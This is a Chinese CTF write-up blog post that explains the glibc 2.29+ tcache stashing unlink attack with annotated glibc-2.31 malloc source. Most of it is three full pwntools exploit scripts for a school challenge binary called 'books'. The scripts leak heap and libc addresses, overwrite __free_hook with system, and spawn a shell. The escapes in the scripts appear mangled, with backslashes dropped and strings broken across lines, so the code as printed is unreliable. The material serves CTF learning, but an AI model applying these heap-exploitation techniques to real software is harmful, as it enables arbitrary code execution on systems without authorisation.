Tcahce Stashing Unlink Attack

今年校赛有点可惜,最后两道质量不错的pwn每做出来,总的来说还是我太菜了,希望下次校赛能AK pwn题。不过这次校赛也没有白打,还是有学到新的东西的。在这里感谢出题的学长。

glibc-2.29以后unsortbin attack不能用了,不过可以通过把多余的chunk移入tcache实现。下面从源码分析一下具体原理。注意:接下来分析的源码版本都是glibc-2.31的。

直接看smallbin部分

    if (in_smallbin_range (nb))
    {
        idx = smallbin_index (nb);
        bin = bin_at (av, idx);

        if ((victim = last (bin)) != bin)
        {
            bck = victim->bk;
            if (__glibc_unlikely (bck->fd != victim)) //检测是否构成双向链表
                malloc_printerr ("malloc(): smallbin double linked list corrupted");
            set_inuse_bit_at_offset (victim, nb);   //给物理相邻的高地址chunk设置prev_inuse标志位
            
            //将符合的chunk从链表中取出来
            bin->bk = bck;
            bck->fd = bin;

            if (av != &main_arena)
                set_non_main_arena (victim);
            check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
            /* While we're here, if we see other chunks of the same size,
               stash them in the tcache.  */
            size_t tc_idx = csize2tidx (nb);
            if (tcache && tc_idx < mp_.tcache_bins)
            {
                mchunkptr tc_victim;

                /* While bin not empty and tcache not full, copy chunks over.  */
                while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last (bin)) != bin) //需要mp_.tcache_count来推出循环,否则会报错
                {
                    if (tc_victim != 0)
                    {
                        bck = tc_victim->bk;
                        set_inuse_bit_at_offset (tc_victim, nb);  //给物理相邻的高地址chunk设置prev_inuse标志位
                        if (av != &main_arena)                    //不是主分配区设置non_main_arena标志
                            set_non_main_arena (tc_victim);
                        bin->bk = bck;
                        bck->fd = bin;

                        tcache_put (tc_victim, tc_idx);
                    }
                }
            }
#endif
            void *p = chunk2mem (victim);
            alloc_perturb (p, bytes);
            return p;
        }
    }

下面我们用一个图来解释一下:

假如有如左边的smallbin链表,如果我们修改chunk1的bk指针,使其指向target address-0x10,接下来malloc(chunk2)。由于smallbin还有剩下的chunk,所以会把剩余的chunk放入tcahce。这时就可以在target address处写入smallbin的地址。

  • 为了防止程序崩溃,对应大小tcahce bin中必须已有6个chunk,即stash一个chunk后就会因tachce bin满了结束stash。
  • 在修改chunk1的bk指针时不能破坏fd指针,所以这个利用方法一般要求能泄漏heap_base。

接下里放一道例题,这是今年校赛的题目。链接:https://github.com/countfatcode/countfatcode.github.io/tree/master/%E9%A2%98%E7%9B%AE/ZJGSUCTF2020/books

程序就不分析了,总体的利用思路就是利用tcache stashing unlink attack修改大小,然后绕过验证,利用malloc函数实现在__free_hook中写入system。然后getshell。脚本如下:

#-*- coding:utf-8 -*-
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
p = process('./books')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

p.sendlineafter('name? ', 'yuan')

def Buy(index, size, content):
    p.sendlineafter('Your choice: ', '1')
    p.sendlineafter('book? ', str(index))
    p.sendlineafter('content? ', str(size))
    p.sendafter('input your content: ', content)
    p.sendlineafter('want a receipt? [y/n] ', 'n')

def Sell(index):
    p.sendlineafter('Your choice: ', '2')
    p.sendlineafter('book? ', str(index))

def Write(index, content):
    p.sendlineafter('Your choice: ', '3')
    p.sendlineafter('book? ', str(index))
    p.sendafter('content: ', content)

def Read(index):
    p.sendlineafter('Your choice: ', '4')
    p.sendlineafter('book? ', str(index)) 

def Magic(data):
    p.sendlineafter('Your choice: ', str(0xdeadbeef))
    p.sendafter('Here is a magic place.
', data)

Buy(1, 0x120, 'AAAAA
')
Buy(2, 0x120, '/bin/shx00
')
Sell(1)

Write(1, 'x00'*0x120)
Sell(1)


Write(1, 'x00'*0x120)
Sell(1)
############################  leak heap_base ######################
Read(1)
#raw_input('#')
p.recvuntil("book's content: ")
heap_base = u64(p.recv(6) + 'x00x00') - 0x2d0
info("heap_base ==> " + hex(heap_base))

Write(1, 'x00'*0x120)
Sell(1)
Write(1, 'x00'*0x120)
Sell(1)
Write(1, 'x00'*0x120)
Sell(1)
Write(1, 'x00'*0x120)
Sell(1)
Write(1, 'x00'*0x120)
Sell(1)

################# leak libc_base #################
Read(1)
p.recvuntil("book's content: ")

libc_base = u64(p.recv(6).ljust(8, 'x00')) - 0x1ebbe0
info("libc_base ==> " + hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
info("malloc_hook ==> " + hex(malloc_hook))
system_addr = libc_base + libc.sym['__libc_system']
info("system_addr ==> " + hex(system_addr))
free_hook = libc_base + libc.sym['__free_hook']
info("free_hook ==> " + hex(free_hook))

#布置好free_hook
Buy(1, 0x233, 'AAAA
')
Sell(1)
Write(1, p64(free_hook) + 'x00'*8 + '
')
Buy(3, 0x140, 'AAAA
')


#在tcache中放6个chunk,为下面tcache stash做准备
Buy(1, 0x100, 'AAAA
')
Buy(3, 0x140, 'AAAA
')
for i in range(5):
    Sell(1)
    Write(1, 'x00'*0x20 + '
')
Sell(1)
#接下来的目标是在smallbin中放入两个0x240大小的chunk

for i in range(7):
    Buy(1, 0x310, 'AAAA
')
    Sell(1)

for i in range(2):
    Buy(1, 0x310, 'AAAA
')
    Buy(2, 0x200, 'AAAA
') #防止free时被top chunk合并
    Sell(1)
    Buy(2, 0x200, 'AAAAA
') #split chunk
    Buy(2, 0x110, '/bin/shx00
')

payload = 'x00'*0x200 + p64(0) + p64(0x111) + p64(heap_base+0x21f0) + p64(heap_base+0x44)
Write(1, payload)
Buy(1, 0x100, 'AAAA
') #tcache stash
Magic('AAAA
')
Magic(p64(system_addr) + 'x00
')

Sell(2)
p.interactive()

解法二:

利用tachebin最多可以放7个chunk的机制绕过小于的限制。脚本如下:

#-*- coding:utf-8 -*-
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
p = process('./books')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

p.sendlineafter('name? ', 'yuan')

def Buy(index, size, content):
    p.sendlineafter('Your choice: ', '1')
    p.sendlineafter('book? ', str(index))
    p.sendlineafter('content? ', str(size))
    p.sendafter('input your content: ', content)
    p.sendlineafter('want a receipt? [y/n] ', 'n')

def Sell(index):
    p.sendlineafter('Your choice: ', '2')
    p.sendlineafter('book? ', str(index))

def Write(index, content):
    p.sendlineafter('Your choice: ', '3')
    p.sendlineafter('book? ', str(index))
    p.sendafter('content: ', content)

def Read(index):
    p.sendlineafter('Your choice: ', '4')
    p.sendlineafter('book? ', str(index)) 

def Magic(data):
    p.sendlineafter('Your choice: ', str(0xdeadbeef))
    p.sendafter('Here is a magic place.
', data)

for i in range(7):
    Buy(1, 0x230, 'AAAA
')
    Sell(1)

Buy(2, 0x230, 'AAAAA
')
Buy(3, 0x100, 'AAAA
')
Sell(2)

Read(2)
p.recvuntil('content: ')
libc_base = u64(p.recv(6) + 'x00x00') - 0x1ebbe0
info("libc_base ==> " + hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']

Write(1, p64(free_hook) + 'x00x00'*8 + '
')
Buy(2, 0x100, '/bin/shx00
')

Magic('AAAAA
')
Magic(p64(system_addr))

Sell(2)

p.interactive()

解法三:

由于题目没有限制好,在malloc chunk时可以输入索引4,直接可以绕过小于5的限制,接下来的利用方法和解法二类似。

#-*- coding:utf-8 -*-
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
p = process('./books')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

p.sendlineafter('name? ', 'yuan')

def Buy(index, size, content):
    p.sendlineafter('Your choice: ', '1')
    p.sendlineafter('book? ', str(index))
    p.sendlineafter('content? ', str(size))
    p.sendafter('input your content: ', content)
    p.sendlineafter('want a receipt? [y/n] ', 'n')

def Sell(index):
    p.sendlineafter('Your choice: ', '2')
    p.sendlineafter('book? ', str(index))

def Write(index, content):
    p.sendlineafter('Your choice: ', '3')
    p.sendlineafter('book? ', str(index))
    p.sendafter('content: ', content)

def Read(index):
    p.sendlineafter('Your choice: ', '4')
    p.sendlineafter('book? ', str(index)) 

def Magic(data):
    p.sendlineafter('Your choice: ', str(0xdeadbeef))
    p.sendafter('Here is a magic place.
', data)


Buy(1, 0x233, 'AAAA
')
Sell(1)

Buy(1, 0x120, 'AAAAA
')
Buy(2, 0x120, '/bin/shx00
')
Sell(1)

Write(1, 'x00'*0x120)
Sell(1)


Write(1, 'x00'*0x120)
Sell(1)
Write(1, 'x00'*0x120)
Sell(1)
Write(1, 'x00'*0x120)
Sell(1)
Write(1, 'x00'*0x120)
Sell(1)
Write(1, 'x00'*0x120)
Sell(1)


Write(1, 'x00'*0x120)
Sell(1)
Read(1)
p.recvuntil("book's content: ")

libc_base = u64(p.recv(6).ljust(8, 'x00')) - 0x1ebbe0
info("libc_base ==> " + hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
info("malloc_hook ==> " + hex(malloc_hook))
system_addr = libc_base + libc.sym['__libc_system']
info("system_addr ==> " + hex(system_addr))
free_hook = libc_base + libc.sym['__free_hook']
info("free_hook ==> " + hex(free_hook))

Buy(1, 0x233, 'AAAA
')
Sell(1)
Write(1, p64(free_hook))
Buy(4, 0x120, '/bin/shx00
')
raw_input('@')

Magic('AAAA
')
Magic(p64(system_addr) + 'x00
')

Sell(4)
p.interactive()
原文地址:https://www.cnblogs.com/countfatcode/p/13052724.html